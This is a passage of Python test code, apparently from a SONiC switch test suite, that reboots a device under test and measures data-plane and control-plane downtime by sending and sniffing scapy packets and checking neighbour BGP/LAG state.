random.choice(self.vlan_ports) self.from_server_src_port = self.random_vlan self.from_server_src_addr = random.choice(self.vlan_host_map[self.random_vlan].keys()) self.from_server_dst_addr = self.random_ip(self.test_params['default_ip_range']) self.from_server_dst_ports = self.portchannel_ports self.log("Test params:") self.log("DUT ssh: %s@%s" % (self.test_params['dut_username'], self.test_params['dut_hostname'])) self.log("DUT reboot limit in seconds: %s" % self.limit) self.log("DUT mac address: %s" % self.dut_mac) self.log("From server src addr: %s" % self.from_server_src_addr) self.log("From server src port: %s" % self.from_server_src_port) self.log("From server dst addr: %s" % self.from_server_dst_addr) self.log("From server dst ports: %s" % self.from_server_dst_ports) self.log("From upper layer number of packets: %d" % self.nr_vl_pkts) self.log("VMs: %s" % str(self.test_params['arista_vms'])) self.log("Reboot type is %s" % self.reboot_type) self.generate_from_t1() self.generate_from_vlan() self.generate_ping_dut_lo() self.generate_arp_ping_packet() if 'warm-reboot' in self.reboot_type: self.log(self.get_sad_info()) # Pre-generate list of packets to be sent in send_in_background method. generate_start = datetime.datetime.now() if not self.vnet: self.generate_bidirectional() self.log("%d packets are ready after: %s" % (len(self.packets_list), str(datetime.datetime.now() - generate_start))) self.dataplane = ptf.dataplane_instance for p in self.dataplane.ports.values(): port = p.get_packet_source() port.socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, self.SOCKET_RECV_BUFFER_SIZE) self.dataplane.flush() if config["log_dir"] != None: filename = os.path.join(config["log_dir"], str(self)) + ".pcap" self.dataplane.start_pcap(filename) self.log("Enabling arp_responder") self.cmd(["supervisorctl", "restart", "arp_responder"]) return def setup_fdb(self): """ simulate traffic generated from servers to help populate FDB """ vlan_map = self.vlan_host_map from_servers_pkt = testutils.simple_tcp_packet( eth_dst=self.dut_mac, ip_dst=self.from_server_dst_addr, ) for port in vlan_map: for addr in vlan_map[port]: mac = vlan_map[port][addr] from_servers_pkt[scapy.Ether].src = self.hex_to_mac(mac) from_servers_pkt[scapy.IP].src = addr testutils.send(self, port, from_servers_pkt) # make sure orchagent processed new FDBs time.sleep(1) def tearDown(self): self.log("Disabling arp_responder") self.cmd(["supervisorctl", "stop", "arp_responder"]) # Stop watching DUT self.watching = False if config["log_dir"] != None: self.dataplane.stop_pcap() self.log_fp.close() def get_if(self, iff, cmd): s = socket.socket() ifreq = ioctl(s, cmd, struct.pack("16s16x",iff)) s.close() return ifreq @staticmethod def hex_to_mac(hex_mac): return ':'.join(hex_mac[i:i+2] for i in range(0, len(hex_mac), 2)) def generate_from_t1(self): self.from_t1 = [] # for each server host create a packet destinating server IP for counter, host_port in enumerate(self.vlan_host_map): src_addr = self.random_ip(self.default_ip_range) src_port = self.random_port(self.portchannel_ports) for server_ip in self.vlan_host_map[host_port]: dst_addr = server_ip # generate source MAC address for traffic based on LAG_BASE_MAC_PATTERN mac_addr = self.hex_to_mac(self.LAG_BASE_MAC_PATTERN.format(counter)) packet = simple_tcp_packet(eth_src=mac_addr, eth_dst=self.dut_mac, ip_src=src_addr, ip_dst=dst_addr, ip_ttl=255, tcp_dport=5000) self.from_t1.append((src_port, str(packet))) # expect any packet with dport 5000 exp_packet = simple_tcp_packet( ip_src="0.0.0.0", ip_dst="0.0.0.0", tcp_dport=5000, ) self.from_t1_exp_packet = Mask(exp_packet) self.from_t1_exp_packet.set_do_not_care_scapy(scapy.Ether, "src") self.from_t1_exp_packet.set_do_not_care_scapy(scapy.Ether, "dst") self.from_t1_exp_packet.set_do_not_care_scapy(scapy.IP, "src") self.from_t1_exp_packet.set_do_not_care_scapy(scapy.IP, "dst") self.from_t1_exp_packet.set_do_not_care_scapy(scapy.IP, "chksum") self.from_t1_exp_packet.set_do_not_care_scapy(scapy.TCP, "chksum") self.from_t1_exp_packet.set_do_not_care_scapy(scapy.IP, "ttl") def generate_from_vlan(self): packet = simple_tcp_packet( eth_dst=self.dut_mac, ip_src=self.from_server_src_addr, ip_dst=self.from_server_dst_addr, tcp_dport=5000 ) exp_packet = simple_tcp_packet( ip_src=self.from_server_src_addr, ip_dst=self.from_server_dst_addr, ip_ttl=63, tcp_dport=5000, ) self.from_vlan_exp_packet = Mask(exp_packet) self.from_vlan_exp_packet.set_do_not_care_scapy(scapy.Ether, "src") self.from_vlan_exp_packet.set_do_not_care_scapy(scapy.Ether, "dst") self.from_vlan_packet = str(packet) def generate_ping_dut_lo(self): dut_lo_ipv4 = self.test_params['lo_prefix'].split('/')[0] packet = simple_icmp_packet(eth_dst=self.dut_mac, ip_src=self.from_server_src_addr, ip_dst=dut_lo_ipv4) exp_packet = simple_icmp_packet(eth_src=self.dut_mac, ip_src=dut_lo_ipv4, ip_dst=self.from_server_src_addr, icmp_type='echo-reply') self.ping_dut_exp_packet = Mask(exp_packet) self.ping_dut_exp_packet.set_do_not_care_scapy(scapy.Ether, "dst") self.ping_dut_exp_packet.set_do_not_care_scapy(scapy.IP, "id") self.ping_dut_exp_packet.set_do_not_care_scapy(scapy.IP, "chksum") self.ping_dut_packet = str(packet) def generate_arp_ping_packet(self): vlan = next(k for k, v in self.ports_per_vlan.items() if v) vlan_ip_range = self.vlan_ip_range[vlan] vlan_port_canadiates = range(len(self.ports_per_vlan[vlan])) vlan_port_canadiates.remove(0) # subnet prefix vlan_port_canadiates.remove(1) # subnet IP on dut src_idx = random.choice(vlan_port_canadiates) vlan_port_canadiates.remove(src_idx) dst_idx = random.choice(vlan_port_canadiates) src_port = self.ports_per_vlan[vlan][src_idx] dst_port = self.ports_per_vlan[vlan][dst_idx] src_addr = self.host_ip(vlan_ip_range, src_idx) dst_addr = self.host_ip(vlan_ip_range, dst_idx) src_mac = self.hex_to_mac(self.vlan_host_map[src_port][src_addr]) packet = simple_arp_packet(eth_src=src_mac, arp_op=1, ip_snd=src_addr, ip_tgt=dst_addr, hw_snd=src_mac) expect = simple_arp_packet(eth_dst=src_mac, arp_op=2, ip_snd=dst_addr, ip_tgt=src_addr, hw_tgt=src_mac) self.log("ARP ping: src idx %d port %d mac %s addr %s" % (src_idx, src_port, src_mac, src_addr)) self.log("ARP ping: dst idx %d port %d addr %s" % (dst_idx, dst_port, dst_addr)) self.arp_ping = str(packet) self.arp_resp = Mask(expect) self.arp_resp.set_do_not_care_scapy(scapy.Ether, 'src') self.arp_resp.set_do_not_care_scapy(scapy.ARP, 'hwtype') self.arp_resp.set_do_not_care_scapy(scapy.ARP, 'hwsrc') self.arp_src_port = src_port def generate_bidirectional(self): """ This method is used to pre-generate packets to be sent in background thread. Packets are composed into a list, and present a bidirectional flow as next: five packet from T1, one packet from vlan. Each packet has sequential TCP Payload - to be identified later. """ self.send_interval = self.time_to_listen / self.packets_to_send self.packets_list = [] from_t1_iter = itertools.cycle(self.from_t1) for i in xrange(self.packets_to_send): payload = '0' * 60 + str(i) if (i % 5) == 0 : # From vlan to T1. packet = scapyall.Ether(self.from_vlan_packet) packet.load = payload from_port = self.from_server_src_port else: # From T1 to vlan. src_port, packet = next(from_t1_iter) packet = scapyall.Ether(packet) packet.load = payload from_port = src_port self.packets_list.append((from_port, str(packet))) def put_nowait(self, queue, data): try: queue.put_nowait(data) except Queue.Full: pass def pre_reboot_test_setup(self): self.reboot_start = None self.no_routing_start = None self.no_routing_stop = None self.no_control_start = None self.no_control_stop = None self.no_cp_replies = None self.upper_replies = [] self.routing_always = False self.total_disrupt_packets = None self.total_disrupt_time = None self.ssh_jobs = [] for addr in self.ssh_targets: q = Queue.Queue(1) thr = threading.Thread(target=self.peer_state_check, kwargs={'ip': addr, 'queue': q}) thr.setDaemon(True) self.ssh_jobs.append((thr, q)) thr.start() if self.setup_fdb_before_test: self.log("Run some server traffic to populate FDB table...") self.setup_fdb() self.log("Starting reachability state watch thread...") self.watching = True self.light_probe = False self.watcher_is_stopped = threading.Event() # Waiter Event for the Watcher state is stopped. self.watcher_is_running = threading.Event() # Waiter Event for the Watcher state is running. self.watcher_is_stopped.set() # By default the Watcher is not running. self.watcher_is_running.clear() # By default its required to wait for the Watcher started. # Give watch thread some time to wind up watcher = self.pool.apply_async(self.reachability_watcher) time.sleep(5) def get_warmboot_finalizer_state(self): stdout, stderr, _ = self.dut_connection.execCommand('sudo systemctl is-active warmboot-finalizer.service') if stderr: self.fails['dut'].add("Error collecting Finalizer state. stderr: {}, stdout:{}".format(str(stderr), str(stdout))) raise Exception("Error collecting Finalizer state. stderr: {}, stdout:{}".format(str(stderr), str(stdout))) if not stdout: self.log('Finalizer state not returned from DUT') return '' finalizer_state = stdout[0].strip() return finalizer_state def get_now_time(self): stdout, stderr, _ = self.dut_connection.execCommand('date +"%Y-%m-%d %H:%M:%S"') if stderr: self.fails['dut'].add("Error collecting current date from DUT. stderr: {}, stdout:{}".format(str(stderr), str(stdout))) raise Exception("Error collecting current date from DUT. stderr: {}, stdout:{}".format(str(stderr), str(stdout))) if not stdout: self.fails['dut'].add('Error collecting current date from DUT: empty value returned') raise Exception('Error collecting current date from DUT: empty value returned') return datetime.datetime.strptime(stdout[0].strip(), "%Y-%m-%d %H:%M:%S") def check_warmboot_finalizer(self, finalizer_timeout): self.wait_until_control_plane_up() dut_datetime = self.get_now_time() self.log('waiting for warmboot-finalizer service to become activating') finalizer_state = self.get_warmboot_finalizer_state() while finalizer_state != 'activating': time.sleep(1) dut_datetime_after_ssh = self.get_now_time() time_passed = float(dut_datetime_after_ssh.strftime("%s")) - float(dut_datetime.strftime("%s")) if time_passed > finalizer_timeout: self.fails['dut'].add('warmboot-finalizer never reached state "activating"') raise TimeoutError finalizer_state = self.get_warmboot_finalizer_state() self.log('waiting for warmboot-finalizer service to finish') finalizer_state = self.get_warmboot_finalizer_state() self.log('warmboot finalizer service state {}'.format(finalizer_state)) count = 0 while finalizer_state == 'activating': finalizer_state = self.get_warmboot_finalizer_state() self.log('warmboot finalizer service state {}'.format(finalizer_state)) time.sleep(10) if count * 10 > int(self.test_params['warm_up_timeout_secs']): self.fails['dut'].add('warmboot-finalizer.service did not finish') raise TimeoutError count += 1 self.log('warmboot-finalizer service finished') def wait_until_control_plane_down(self): self.log("Wait until Control plane is down") self.timeout(self.wait_until_cpu_port_down, self.task_timeout, "DUT hasn't shutdown in {} seconds".format(self.task_timeout)) if self.reboot_type == 'fast-reboot': self.light_probe = True else: # add or del routes during boot self.do_inboot_oper() self.reboot_start = datetime.datetime.now() self.log("Dut reboots: reboot start %s" % str(self.reboot_start)) def wait_until_control_plane_up(self): self.log("Wait until Control plane is up") self.timeout(self.wait_until_cpu_port_up, self.task_timeout, "DUT hasn't come back up in {} seconds".format(self.task_timeout)) self.no_control_stop = datetime.datetime.now() self.log("Dut reboots: control plane up at %s" % str(self.no_control_stop)) def handle_fast_reboot_health_check(self): self.log("Check that device is still forwarding data plane traffic") self.fails['dut'].add("Data plane has a forwarding problem after CPU went down") self.check_alive() self.fails['dut'].clear() self.log("Wait until control plane up") port_up_signal = multiprocessing.Event() async_cpu_up = self.pool.apply_async(self.wait_until_cpu_port_up, args=(port_up_signal,)) self.log("Wait until data plane stops") forward_stop_signal = multiprocessing.Event() async_forward_stop = self.pool.apply_async(self.check_forwarding_stop, args=(forward_stop_signal,)) try: async_cpu_up.get(timeout=self.task_timeout) self.no_control_stop = self.cpu_state.get_state_time('up') self.log("Control plane down stops %s" % str(self.no_control_stop)) except TimeoutError as e: port_up_signal.set() self.log("DUT hasn't bootup in %d seconds" % self.task_timeout) self.fails['dut'].add("DUT hasn't booted up in %d seconds" % self.task_timeout) raise try: self.no_routing_start, self.upper_replies = async_forward_stop.get(timeout=self.task_timeout) self.log("Data plane was stopped, Waiting until it's up. Stop time: %s" % str(self.no_routing_start)) except TimeoutError: forward_stop_signal.set() self.log("Data plane never stop") self.routing_always = True self.upper_replies = [self.nr_vl_pkts] if self.no_routing_start is not None: self.no_routing_stop, _ = self.timeout(self.check_forwarding_resume, self.task_timeout, "DUT hasn't started to work for %d seconds" % self.task_timeout) else: self.no_routing_stop = datetime.datetime.min self.no_routing_start = datetime.datetime.min # Stop watching DUT self.watching = False def handle_warm_reboot_health_check(self): self.send_and_sniff() # Stop watching DUT self.watching = False self.log("Stopping reachability state watch thread.") self.watcher_is_stopped.wait(timeout = 10) # Wait for the Watcher stopped. self.save_sniffed_packets() examine_start = datetime.datetime.now() self.log("Packet flow examine started %s after the reboot" % str(examine_start - self.reboot_start)) self.examine_flow() self.log("Packet flow examine finished after %s" % str(datetime.datetime.now() - examine_start)) if self.lost_packets: self.no_routing_stop, self.no_routing_start = datetime.datetime.fromtimestamp(self.no_routing_stop), datetime.datetime.fromtimestamp(self.no_routing_start) self.log("The longest disruption lasted %.3f seconds. %d packet(s) lost." % (self.max_disrupt_time, self.max_lost_id)) self.log("Total disruptions count is %d. All disruptions lasted %.3f seconds. Total %d packet(s) lost" % \ (self.disrupts_count, self.total_disrupt_time, self.total_disrupt_packets)) else: self.no_routing_start = self.reboot_start self.no_routing_stop = self.reboot_start def handle_post_reboot_health_check(self): # wait until all bgp session are established self.log("Wait until bgp routing is up on all devices") for _, q in self.ssh_jobs: q.put('quit') def wait_for_ssh_threads(signal): while any(thr.is_alive() for thr, _ in self.ssh_jobs) and not signal.is_set(): self.log('Waiting till SSH threads stop') time.sleep(self.TIMEOUT) for thr, _ in self.ssh_jobs: thr.join() self.timeout(wait_for_ssh_threads, self.task_timeout, "SSH threads haven't finished for %d seconds" % self.task_timeout) self.log("Data plane works again. Start time: %s" % str(self.no_routing_stop)) self.log("") if self.no_routing_stop - self.no_routing_start > self.limit: self.fails['dut'].add("Longest downtime period must be less then %s seconds. It was %s" \ % (self.test_params['reboot_limit_in_seconds'], str(self.no_routing_stop - self.no_routing_start))) if self.no_routing_stop - self.reboot_start > datetime.timedelta(seconds=self.test_params['graceful_limit']): self.fails['dut'].add("%s cycle must be less than graceful limit %s seconds" % (self.reboot_type, self.test_params['graceful_limit'])) if 'warm-reboot' in self.reboot_type: if self.total_disrupt_time > self.limit.total_seconds(): self.fails['dut'].add("Total downtime period must be less then %s seconds. It was %s" \ % (str(self.limit), str(self.total_disrupt_time))) # after the data plane is up, check for routing changes if self.test_params['inboot_oper'] and self.sad_handle: self.check_inboot_sad_status() # postboot check for all preboot operations if self.test_params['preboot_oper'] and self.sad_handle: self.check_postboot_sad_status() else: # verify there are no interface flaps after warm boot self.neigh_lag_status_check() if self.reboot_type == 'fast-reboot': self.no_cp_replies = self.extract_no_cpu_replies(self.upper_replies) if self.no_cp_replies < 0.95 * self.nr_vl_pkts: self.fails['dut'].add("Dataplane didn't route to all servers, when control-plane was down: %d vs %d" % (self.no_cp_replies, self.nr_vl_pkts)) def handle_advanced_reboot_health_check_kvm(self): self.log("Wait until data plane stops") forward_stop_signal = multiprocessing.Event() async_forward_stop = self.pool.apply_async(self.check_forwarding_stop, args=(forward_stop_signal,)) self.log("Wait until control plane up") port_up_signal = multiprocessing.Event() async_cpu_up = self.pool.apply_async(self.wait_until_cpu_port_up, args=(port_up_signal,)) try: self.no_routing_start, _ = async_forward_stop.get(timeout=self.task_timeout) self.log("Data plane was stopped, Waiting until it's up. Stop time: %s" % str(self.no_routing_start)) except TimeoutError: forward_stop_signal.set() self.log("Data plane never stop") try: async_cpu_up.get(timeout=self.task_timeout) no_control_stop = self.cpu_state.get_state_time('up') self.log("Control plane down stops %s" % str(no_control_stop)) except TimeoutError as e: port_up_signal.set() self.log("DUT hasn't bootup in %d seconds" % self.task_timeout) self.fails['dut'].add("DUT hasn't booted up in %d seconds" % self.task_timeout) raise # Wait until data plane up if it stopped if self.no_routing_start is not None: self.no_routing_stop, _ = self.timeout(self.check_forwarding_resume, self.task_timeout, "DUT hasn't started to work for %d seconds" % self.task_timeout) else: self.no_routing_stop = datetime.datetime.min self.no_routing_start = datetime.datetime.min # Stop watching DUT self.watching = False def handle_post_reboot_health_check_kvm(self): # wait until all bgp session are established self.log("Wait until bgp routing is up on all devices") for _, q in self.ssh_jobs: q.put('quit') def wait_for_ssh_threads(signal): while any(thr.is_alive() for thr, _ in self.ssh_jobs) and not signal.is_set(): time.sleep(self.TIMEOUT) for thr, _ in self.ssh_jobs: thr.join() self.timeout(wait_for_ssh_threads, self.task_timeout, "SSH threads haven't finished for %d seconds" % self.task_timeout) self.log("Data plane works again. Start time: %s" % str(self.no_routing_stop)) self.log("") if self.no_routing_stop - self.no_routing_start > self.limit: self.fails['dut'].add("Longest downtime period must be less then %s seconds. It was %s" \ % (self.test_params['reboot_limit_in_seconds'], str(self.no_routing_stop - self.no_routing_start))) if self.no_routing_stop - self.reboot_start > datetime.timedelta(seconds=self.test_params['graceful_limit']): self.fails['dut'].add("%s cycle must be less than graceful limit %s seconds" % (self.reboot_type, self.test_params['graceful_limit'])) def handle_post_reboot_test_reports(self): # Stop watching DUT self.watching = False # revert to pretest state if self.sad_oper and self.sad_handle: self.sad_revert() if self.test_params['inboot_oper']: self.check_postboot_sad_status() self.log(" ") # Generating report self.log("="*50) self.log("Report:") self.log("="*50) self.log("LACP/BGP were down for (extracted from cli):") self.log("-"*50) for ip in sorted(self.cli_info.keys()): self.log(" %s - lacp: %7.3f (%d) po_events: (%d) bgp v4: %7.3f (%d) bgp v6: %7.3f (%d)" \ % (ip, self.cli_info[ip]['lacp'][1], self.cli_info[ip]['lacp'][0], \ self.cli_info[ip]['po'][1], \ self.cli_info[ip]['bgp_v4'][1], self.cli_info[ip]['bgp_v4'][0],\ self.cli_info[ip]['bgp_v6'][1], self.cli_info[ip]['bgp_v6'][0])) self.log("-"*50) self.log("Extracted from VM logs:") self.log("-"*50) for ip in sorted(self.logs_info.keys()): self.log("Extracted log info from %s" % ip) for msg in sorted(self.logs_info[ip].keys()): if not msg in [ 'error', 'route_timeout' ]: self.log(" %s : %d" % (msg, self.logs_info[ip][msg])) else: self.log(" %s" % self.logs_info[ip][msg]) self.log("-"*50) self.log("Summary:") self.log("-"*50) if self.no_routing_stop: self.log("Longest downtime period was %s" % str(self.no_routing_stop - self.no_routing_start)) reboot_time = "0:00:00" if self.routing_always else str(self.no_routing_stop - self.reboot_start) self.log("Reboot time was %s" % reboot_time) self.log("Expected downtime is less then %s" % self.limit) if self.reboot_type == 'fast-reboot' and self.no_cp_replies: self.log("How many packets were received back when control plane was down: %d Expected: %d" % (self.no_cp_replies, self.nr_vl_pkts)) has_info = any(len(info) > 0 for info in self.info.values()) if has_info: self.log("-"*50) self.log("Additional info:") self.log("-"*50) for name, info in self.info.items(): for entry in info: self.log("INFO:%s:%s" % (name, entry)) self.log("-"*50) is_good = all(len(fails) == 0 for fails in self.fails.values()) errors = "" if not is_good: self.log("-"*50) self.log("Fails:") self.log("-"*50) errors = "\n\nSomething went wrong. Please check output below:\n\n" for name, fails in self.fails.items(): for fail in fails: self.log("FAILED:%s:%s" % (name, fail)) errors += "FAILED:%s:%s\n" % (name, fail) self.log("="*50) if self.no_routing_stop and self.no_routing_start: dataplane_downtime = (self.no_routing_stop - self.no_routing_start).total_seconds() else: dataplane_downtime = "" if self.total_disrupt_time: # Add total downtime (calculated in physical warmboot test using packet disruptions) dataplane_downtime = self.total_disrupt_time dataplane_report = dict() dataplane_report["downtime"] = str(dataplane_downtime) dataplane_report["lost_packets"] = str(self.total_disrupt_packets) \ if self.total_disrupt_packets is not None else "" controlplane_report = dict() if self.no_control_stop and self.no_control_start: controlplane_downtime = (self.no_control_stop - self.no_control_start).total_seconds() else: controlplane_downtime = "" controlplane_report["downtime"] = str(controlplane_downtime) controlplane_report["arp_ping"] = "" # TODO self.report["dataplane"] = dataplane_report self.report["controlplane"] = controlplane_report with open(self.report_file_name, 'w') as reportfile: json.dump(self.report, reportfile) self.assertTrue(is_good, errors) def runTest(self): self.pre_reboot_test_setup() try: self.log("Check that device is alive and pinging") self.fails['dut'].add("DUT is not ready for test") self.wait_dut_to_warm_up() self.fails['dut'].clear() self.log("Schedule to reboot the remote switch in %s sec" % self.reboot_delay) thr = threading.Thread(target=self.reboot_dut) thr.setDaemon(True) thr.start() self.wait_until_control_plane_down() self.no_control_start = self.cpu_state.get_state_time('down') if 'warm-reboot' in self.reboot_type: finalizer_timeout = 60 + self.test_params['reboot_limit_in_seconds'] thr = threading.Thread(target=self.check_warmboot_finalizer,\ kwargs={'finalizer_timeout': finalizer_timeout}) thr.setDaemon(True) thr.start() self.warmboot_finalizer_thread = thr if self.kvm_test: self.handle_advanced_reboot_health_check_kvm() self.handle_post_reboot_health_check_kvm() else: if self.reboot_type == 'fast-reboot': self.handle_fast_reboot_health_check() if 'warm-reboot' in self.reboot_type: self.handle_warm_reboot_health_check() self.handle_post_reboot_health_check() if 'warm-reboot' in self.reboot_type: total_timeout = finalizer_timeout + self.test_params['warm_up_timeout_secs'] start_time = datetime.datetime.now() # Wait until timeout happens OR the IO test completes while ((datetime.datetime.now() - start_time).seconds < total_timeout) and\ self.warmboot_finalizer_thread.is_alive(): time.sleep(0.5) if self.warmboot_finalizer_thread.is_alive(): self.fails['dut'].add("Warmboot Finalizer hasn't finished for {} seconds. Finalizer state: {}".format(total_timeout, self.get_warmboot_finalizer_state())) # Check sonic version after reboot self.check_sonic_version_after_reboot() except Exception as e: self.fails['dut'].add(e) finally: self.handle_post_reboot_test_reports() def neigh_lag_status_check(self): """ Ensure there are no interface flaps after warm-boot """ for neigh in self.ssh_targets: self.neigh_handle = Arista(neigh, None, self.test_params) self.neigh_handle.connect() fails, flap_cnt = self.neigh_handle.verify_neigh_lag_no_flap() self.neigh_handle.disconnect() self.fails[neigh] |= fails if not flap_cnt: self.log("No LAG flaps seen on %s after warm boot" % neigh) else: self.fails[neigh].add("LAG flapped %s times on %s after warm boot" % (flap_cnt, neigh)) def check_sonic_version_after_reboot(self): # Check sonic version after reboot target_version = self.test_params['target_version'] if target_version: stdout, stderr, return_code = self.dut_connection.execCommand("sudo sonic_installer list | grep Current | awk '{print $2}'") current_version = "" if stdout != []: current_version = str(stdout[0]).replace('\n', '') self.log("Current={} Target={}".format(current_version, target_version)) if current_version != target_version: raise Exception("Sonic upgrade failed. Target={} Current={}".format(\ target_version, current_version)) def extract_no_cpu_replies(self, arr): """ This function tries to extract number of replies from dataplane, when control plane is non working """ # remove all tail zero values non_zero = filter(lambda x : x > 0, arr) # check that last value is different from previos if len(non_zero) > 1 and non_zero[-1] < non_zero[-2]: return non_zero[-2] else: return non_zero[-1] def reboot_dut(self): time.sleep(self.reboot_delay) self.log("Rebooting remote side") stdout, stderr, return_code = self.dut_connection.execCommand("sudo " + self.reboot_type, timeout=30) if stdout != []: self.log("stdout from %s: %s" % (self.reboot_type, str(stdout))) if stderr != []: self.log("stderr from %s: %s" % (self.reboot_type, str(stderr))) self.fails['dut'].add("{} failed with error {}".format(self.reboot_type, stderr)) thread.interrupt_main() raise Exception("{} failed with error {}".format(self.reboot_type, stderr)) self.log("return code from %s: %s" % (self.reboot_type, str(return_code))) # Note: a timeout reboot in ssh session will return a 255 code if return_code not in [0, 255]: thread.interrupt_main() return def cmd(self, cmds): process = subprocess.Popen(cmds, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate() return_code = process.returncode return stdout, stderr, return_code def peer_state_check(self, ip, queue): self.log('SSH thread for VM {} started'.format(ip)) ssh = Arista(ip, queue, self.test_params, log_cb=self.log) self.fails[ip], self.info[ip], self.cli_info[ip], self.logs_info[ip] = ssh.run() self.log('SSH thread for VM {} finished'.format(ip)) def wait_until_cpu_port_down(self, signal): while not signal.is_set(): for _, q in self.ssh_jobs: self.put_nowait(q, 'cpu_down') if self.cpu_state.get() == 'down': break time.sleep(self.TIMEOUT) def wait_until_cpu_port_up(self, signal): while not signal.is_set(): for _, q in self.ssh_jobs: self.put_nowait(q, 'cpu_up') if self.cpu_state.get() == 'up': break time.sleep(self.TIMEOUT) def apply_filter_all_ports(self, filter_expression): for p in self.dataplane.ports.values(): port = p.get_packet_source() scapyall.attach_filter(port.socket, filter_expression) def send_in_background(self, packets_list = None, interval = None): """ This method sends predefined list of packets with predefined interval. """ if not interval: interval = self.send_interval if not packets_list: packets_list = self.packets_list self.sniffer_started.wait(timeout=10) with self.dataplane_io_lock: # While running fast data plane sender thread there are two reasons for filter to be applied # 1. filter out data plane traffic which is tcp to free up the load on PTF socket (sniffer thread is using a different one) # 2. during warm neighbor restoration DUT will send a lot of ARP requests which we are not interested in # This is essential to get stable results self.apply_filter_all_ports('not (arp and ether src {}) and not tcp'.format(self.test_params['dut_mac'])) sender_start = datetime.datetime.now() self.log("Sender started at %s" % str(sender_start)) for entry in packets_list: time.sleep(interval) if self.vnet: testutils.send_packet(self, entry[0], entry[1].decode("base64")) else: testutils.send_packet(self, *entry) self.log("Sender has been running for %s" % str(datetime.datetime.now() - sender_start)) # Remove filter self.apply_filter_all_ports('') def sniff_in_background(self, wait = None): """ This function listens on all ports, in both directions, for the TCP src=1234 dst=5000 packets, until timeout. Once found, all packets are dumped to local pcap file, and all packets are saved to self.packets as scapy type. The native scapy.snif() is used as a background thread, to allow delayed start for the send_in_background(). """ if not wait: wait = self.time_to_listen + self.test_params['sniff_time_incr'] sniffer_start = datetime.datetime.now() self.log("Sniffer started at %s" % str(sniffer_start)) sniff_filter = "tcp and tcp dst port 5000 and tcp src port 1234 and not icmp" scapy_sniffer = threading.Thread(target=self.scapy_sniff, kwargs={'wait': wait, 'sniff_filter': sniff_filter}) scapy_sniffer.start() time.sleep(2) # Let the scapy sniff initialize completely. self.sniffer_started.set() # Unblock waiter for the send_in_background. scapy_sniffer.join() self.log("Sniffer has been running for %s" % str(datetime.datetime.now() - sniffer_start)) self.sniffer_started.clear() def save_sniffed_packets(self): filename = "/tmp/capture_%s.pcap" % self.logfile_suffix if self.logfile_suffix is not None else "/tmp/capture.pcap" if self.packets: scapyall.wrpcap(filename, self.packets) self.log("Pcap file dumped to %s" % filename) else: self.log("Pcap file is empty.") def scapy_sniff(self, wait = 180, sniff_filter = ''): """ This method exploits native scapy sniff() method. """ self.packets = scapyall.sniff(timeout = wait, filter = sniff_filter) def send_and_sniff(self): """ This method starts two background threads in parallel: one for sending, another for collecting the sent packets. """ self.sender_thr = threading.Thread(target = self.send_in_background) self.sniff_thr = threading.Thread(target = self.sniff_in_background) self.sniffer_started = threading.Event() # Event for the sniff_in_background status. self.sniff_thr.start() self.sender_thr.start() self.sniff_thr.join() self.sender_thr.join() def check_tcp_payload(self, packet): """ This method is used by examine_flow() method. It returns True if a packet is not corrupted and has a valid TCP sequential TCP Payload, as created by generate_bidirectional() method'. """ try: int(str(packet[scapyall.TCP].payload)) in range(self.packets_to_send) return True except Exception as err: return False def no_flood(self, packet): """ This method filters packets which are unique (i.e. no floods). """ if (not int(str(packet[scapyall.TCP].payload)) in self.unique_id) and (packet[scapyall.Ether].src == self.dut_mac): # This is a unique (no flooded) received packet. self.unique_id.append(int(str(packet[scapyall.TCP].payload))) return True elif packet[scapyall.Ether].dst == self.dut_mac: # This is a sent packet. return True else: return False def examine_flow(self, filename = None): """ This method examines pcap file (if given), or self.packets scapy file. The method compares TCP payloads of the packets one by one (assuming all payloads are consecutive integers), and the losses if found - are treated as disruptions in Dataplane forwarding. All disruptions are saved to self.lost_packets dictionary, in format: disrupt_start_id = (missing_packets_count, disrupt_time, disrupt_start_timestamp, disrupt_stop_timestamp) """ if filename: all_packets = scapyall.rdpcap(filename) elif self.packets: all_packets = self.packets else: self.log("Filename and self.packets are not defined.") self.fails['dut'].add("Filename and self.packets are not defined") return None # Filter out packets and remove floods: self.unique_id = list() # This list will contain all unique Payload ID, to filter out received floods. filtered_packets = [ pkt for pkt in all_packets if scapyall.TCP in pkt and not scapyall.ICMP in pkt and pkt[scapyall.TCP].sport == 1234 and pkt[scapyall.TCP].dport == 5000 and self.check_tcp_payload(pkt) and self.no_flood(pkt) ] if self.vnet: decap_packets = [ scapyall.Ether(str(pkt.payload.payload.payload)[8:]) for pkt in all_packets if scapyall.UDP in pkt and pkt[scapyall.UDP].sport == 1234 ] filtered_decap_packets = [ pkt for pkt in decap_packets if scapyall.TCP in pkt and not scapyall.ICMP in pkt and pkt[scapyall.TCP].sport == 1234 and pkt[scapyall.TCP].dport == 5000 and self.check_tcp_payload(pkt) and self.no_flood(pkt) ] filtered_packets = filtered_packets + filtered_decap_packets # Re-arrange packets, if delayed, by Payload ID and Timestamp: packets = sorted(filtered_packets, key = lambda packet: (int(str(packet[scapyall.TCP].payload)), packet.time )) self.lost_packets = dict() self.max_disrupt, self.total_disruption = 0, 0 sent_packets = dict() self.fails['dut'].add("Sniffer failed to capture any traffic") self.assertTrue(packets, "Sniffer failed to capture any traffic") self.fails['dut'].clear() if packets: prev_payload, prev_time = 0, 0 sent_payload = 0 received_counter = 0 # Counts packets from dut. self.disruption_start, self.disruption_stop = None, None for packet in packets: if packet[scapyall.Ether].dst == self.dut_mac: # This is a sent packet - keep track of it as payload_id:timestamp. sent_payload = int(str(packet[scapyall.TCP].payload)) sent_packets[sent_payload] = packet.time continue if packet[scapyall.Ether].src == self.dut_mac: # This is a received packet. received_time = packet.time received_payload = int(str(packet[scapyall.TCP].payload)) received_counter += 1 if not (received_payload and received_time): # This is the first valid received packet. prev_payload = received_payload prev_time = received_time continue if received_payload - prev_payload > 1: # Packets in a row are missing, a disruption. lost_id = (received_payload -1) - prev_payload # How many packets lost in a row. disrupt = (sent_packets[received_payload] - sent_packets[prev_payload + 1]) # How long disrupt lasted. # Add disrupt to the dict: self.lost_packets[prev_payload] = (lost_id, disrupt, received_time - disrupt, received_time) self.log("Disruption between packet ID %d and %d. For %.4f " % (prev_payload, received_payload, disrupt)) if not self.disruption_start: self.disruption_start = datetime.datetime.fromtimestamp(prev_time) self.disruption_stop = datetime.datetime.fromtimestamp(received_time) prev_payload = received_payload prev_time = received_time self.fails['dut'].add("Sniffer failed to filter any traffic from DUT") 